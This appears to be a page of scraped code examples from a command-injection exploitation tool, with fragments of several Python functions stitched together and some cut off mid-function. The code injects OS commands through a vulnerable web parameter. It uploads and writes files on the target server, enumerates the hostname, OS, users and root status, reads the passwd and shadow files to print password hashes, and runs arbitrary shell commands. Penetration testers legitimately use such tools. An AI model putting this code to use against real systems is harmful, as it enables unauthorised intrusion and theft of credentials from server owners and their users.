    response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
                                     suffix, http_request_method, url,
                                     vuln_parameter, OUTPUT_TEXTFILE,
                                     alter_shell, filename)
Beispiel #31
0
    elif os.path.split(menu.options.file_dest)[0] == "/":
        dest_to_upload = (
            "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
        )
    else:
        dest_to_upload = menu.options.file_dest

    # Execute command
    cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
    response = fb_injector.injection(
        separator,
        payload,
        TAG,
        cmd,
        prefix,
        suffix,
        http_request_method,
        url,
        vuln_parameter,
        OUTPUT_TEXTFILE,
        alter_shell,
    )
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)

    # Check if file exists!
    cmd = "echo $(ls " + dest_to_upload + ")"
    response = fb_injector.injection(
        separator,
        payload,
        TAG,
Beispiel #32
0
def file_write(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_write = menu.options.file_write
  if not os.path.exists(file_to_write):
    sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
    sys.stdout.flush()
    sys.exit(0)
    
  if os.path.isfile(file_to_write):
    with open(file_to_write, 'r') as content_file:
      content = [line.replace("\n", " ") for line in content_file]
    content = "".join(str(p) for p in content).replace("'", "\"")
  else:
    sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
    sys.stdout.flush()
    
  if not settings.TMP_PATH in menu.options.file_dest:
    file_name = os.path.split(menu.options.file_dest)[1]
    dest_to_write = settings.TMP_PATH + file_name
  else:
    dest_to_write = menu.options.file_dest
  
  # Check the file-destination
  if os.path.split(menu.options.file_dest)[1] == "" :
    dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
  elif os.path.split(menu.options.file_dest)[0] == "/":
    dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
  else:
    dest_to_write = menu.options.file_dest
  OUTPUT_TEXTFILE = dest_to_write

  # Execute command
  cmd = settings.FILE_WRITE + " '"+ content + "' "
  check_how_long, output  = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  shell = output
  try:
    file_contents = "".join(str(p) for p in shell)
  except TypeError:
    pass

  print ""
  # Check if file exists!
  cmd = "echo $(ls " + dest_to_write + ")"
  check_how_long, output  = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  shell = output
  try:
    shell = "".join(str(p) for p in shell)
  except TypeError:
    pass
  if shell:
    if menu.options.verbose:
      print ""
    sys.stdout.write(Style.BRIGHT + "\n\n  (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!" + Style.RESET_ALL + "\n\n")
    sys.stdout.flush()
  else:
   sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n\n")
   sys.stdout.flush()

  # Do the dec-to-text transformation
  settings.TFB_DECIMAL = True
  cmd = settings.FILE_WRITE + " '"+ file_contents + "'" + " > " + "'"+ dest_to_write + "'"
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
Beispiel #33
0
                                                prefix, suffix,
                                                http_request_method, url,
                                                vuln_parameter,
                                                OUTPUT_TEXTFILE, alter_shell)
                                            logs.logs_notification(filename)
                                            sys.exit(0)
                                        elif cmd.lower() == "back":
                                            go_back = True
                                            break
                                        else:
                                            pass

                                    else:
                                        response = fb_injector.injection(
                                            separator, payload, TAG, cmd,
                                            prefix, suffix,
                                            http_request_method, url,
                                            vuln_parameter, OUTPUT_TEXTFILE,
                                            alter_shell)
                                        print ""
                                        # Command execution results.
                                        shell = fb_injector.injection_results(
                                            url, OUTPUT_TEXTFILE, delay)

                                        if shell:
                                            shell = " ".join(
                                                str(p) for p in shell)
                                            if shell != "":
                                                print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
Beispiel #34
0
def do_check(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):

  # Hostname enumeration
  if menu.options.hostname:
    cmd = settings.HOSTNAME
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if shell:
      if menu.options.verbose:
        print ""
      shell = "".join(str(p) for p in shell)
      if not menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      
  # "Retrieve certain system information (operating system, hardware platform)
  if menu.options.sys_info:
    cmd = settings.RECOGNISE_OS     
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if target_os:
      if menu.options.verbose:
        print ""
      target_os = "".join(str(p) for p in target_os)
      if target_os == "Linux":
        cmd = settings.RECOGNISE_HP
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
        target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if target_arch:
          if menu.options.verbose:
            print "" 
          target_arch = "".join(str(p) for p in target_arch)
          sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
          sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
      else:
        if menu.options.verbose:
          print ""
        sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
        sys.stdout.flush()

  # The current user enumeration
  if menu.options.current_user:
    cmd = settings.CURRENT_USER
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if cu_account:
      cu_account = "".join(str(p) for p in cu_account)
      # Check if the user have super privileges.
      if menu.options.is_root:
        cmd = settings.ISROOT
        response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
        if shell:
          shell = "".join(str(p) for p in shell)
          if menu.options.verbose:
            print ""
          sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
          if shell != "0":
              sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
              sys.stdout.flush()
          else:
            sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
            sys.stdout.flush()
      else:
        if menu.options.verbose:
          print ""
        sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
        sys.stdout.flush()
        
  # System users enumeration
  if menu.options.users:
    cmd = settings.SYS_USERS             
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if sys_users :
      sys_users = "".join(str(p) for p in sys_users)
      sys_users = sys_users.replace("(@)", "\n")
      sys_users = sys_users.split( )
      if len(sys_users) != 0 :
        if menu.options.verbose:
          print ""
        sys.stdout.write("(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
        sys.stdout.flush()
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_users)) + " entries in '" + settings.PASSWD_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        count = 0
        for line in sys_users:
          count = count + 1
          fields = line.split(":")
          # System users privileges enumeration
          if menu.options.privileges:
            if int(fields[1]) == 0:
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " root user "
            elif int(fields[1]) > 0 and int(fields[1]) < 99 :
              is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " system user "
            elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
              if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
                is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " anonymous user "
              elif int(fields[1]) == 60002:
                is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " non-trusted user "
              else:
                is_privilleged = Style.RESET_ALL + " is" +  Style.BRIGHT + " regular user "
            else :
              is_privilleged = ""
          else :
            is_privilleged = ""
          print "  ("+str(count)+") '" + Style.BRIGHT + Style.UNDERLINE + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'." 
      else:
        print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
        
  # System password enumeration
  if menu.options.passwords:
    cmd = settings.SYS_PASSES    
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if sys_passes :
      sys_passes = "".join(str(p) for p in sys_passes)
      sys_passes = sys_passes.replace("(@)", "\n")
      sys_passes = sys_passes.split( )
      if len(sys_passes) != 0 :
        sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
        sys.stdout.flush()
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        count = 0
        for line in sys_passes:
          count = count + 1
          fields = line.split(":")
          if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
            print "  ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
      else:
        print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
        
  # Single os-shell execution
  if menu.options.os_cmd:
    cmd =  menu.options.os_cmd
    response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell)
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    if shell:
      if menu.options.verbose:
        print ""
      shell = "".join(str(p) for p in shell)
      print "\n\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
      sys.exit(0)

# eof